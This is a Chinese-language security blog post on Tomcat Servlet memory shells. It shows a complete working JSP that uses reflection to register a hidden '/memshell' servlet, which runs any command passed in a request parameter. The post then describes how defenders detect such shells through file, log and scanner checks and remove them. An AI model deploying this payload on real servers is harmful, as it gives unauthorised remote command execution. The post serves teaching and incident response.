Java安全之Servlet内存马的利用以及排查

前言:原理说起来太多了,不懂的可以先去学一下原理,本文主要做一个扫盲级别的利用,以及以蓝队的视角对这类木马排查的大致流程。

Start

环境搭建
  • idea 2023.1.2

  • tomcat 8.5.100

  • 冰蝎v4.1

  • tomcat-memshell-scanner

  • 包含文件上传的servlet项目

image-20240526163424209

留意,需要加上此依赖

打成war,并且更改名字为ROOT.war来部署到tomcat中

image-20240526163825086

访问

image-20240526164049967

简单的上传测试成功

image-20240526164137984

image-20240526164156688

内存马利用

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class MemServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String command = request.getParameter("command");
Runtime.getRuntime().exec(command);
}

public void destroy() {
}
}

%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);

Field standarContextField = applicationContext.getClass().getDeclaredField("context");
standarContextField.setAccessible(true);
StandardContext context = (StandardContext) standarContextField.get(applicationContext);

Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(new MemServlet());

context.addChild(wrapper);
context.addServletMappingDecoded("/memshell","MemServlet");

%>
</body>
</html>

上传成功

image-20240526164609901

访问 使其注册

image-20240526165010421

响应空白 本身就没有输出 这里已经成功了

根据内存马中的路径和传参去执行命令验证

image-20240526165239016

成功收到dnslog

image-20240526165259925

命令执行成功,也就意味着getshell,后续任何操作 有命令执行的条件 皆可为

排查

现在,我们以蓝队,或者被攻击者的视角,去排查servlet内存马的问题,我们如何去发现,排查,以及修复。

一、

servlet内存马,必须需要jsp文件的落地,也就是会有新文件的增加,我们只需要着重关注jsp后缀即可

image-20240526165751575

我们看到新增的jsp文件,去把他进行下载,分析代码做了什么来决定后续的操作,是webshell还是内存马?

二、

jsp文件落地后,当内存马注册成功,攻击者会将jsp文件删除,这样,我们就需要在日志或者流量设备中分析请求的路径。首先

访问了一个上传成功的jsp文件

image-20240526170601313

但假设攻击者已经将其删除,这个文件不存在了,但内存马已经注册成功,这个就可以成为分析的要点:访问了成功上传的文件,但是这个文件现在已经不存在

image-20240526170710111

如果这样,就要去分析 攻击者的请求,内存马必然是有一个映射路径的,而这个路径 大都不是存在于项目的源码中

image-20240526171205301

我们就可以从对这个项目的了解,它有哪些映射路径?哪些映射路径何时进行了修改 什么时候又增加了哪些映射路径,根据文件上传命令执行这一系列的时间,综合去分析,比如案例中的源码,就两个映射路径@WebServlet("/upload")@WebServlet("/HelloWorld"),攻击者访问了memeshell居然还是200 ,所以memshell 当然就是内存马的映射路径

三、

使用工具进行排查和分析 以及 修复!

tomcat-memshell-scanner :https://github.com/c0ny1/java-memshell-scanner

上传到任意web目录中即可

image-20240526172528692

​ 它会jvm中运行的类可视化展示,提供对class文件的下载 以及kill

​ 通过这个工具,观察可疑的Serlvet name,映射路径,Serlvet class,Servlet classLoader以及它所处的具体文件

​ 具体去查看 源码中有无这个映射路径,或者磁盘上有无这个class

​ servlet内存马 需要着重观察JSP Servlet类加载器 JasperLoader,有这个 极大概率为内存马文件

​ 将可疑的class进行下载 反编译看源码。

image-20240526173452775

这里也是我们刚刚的内存马

kill即可

image-20240526173759490

这里的话 内存马也就失效了

重启也可以,但是实际中 重启是最后一招,因为重启对重大业务影响非常的大

这里只是演示简单的 这个流程和思路,后续会持续更新

END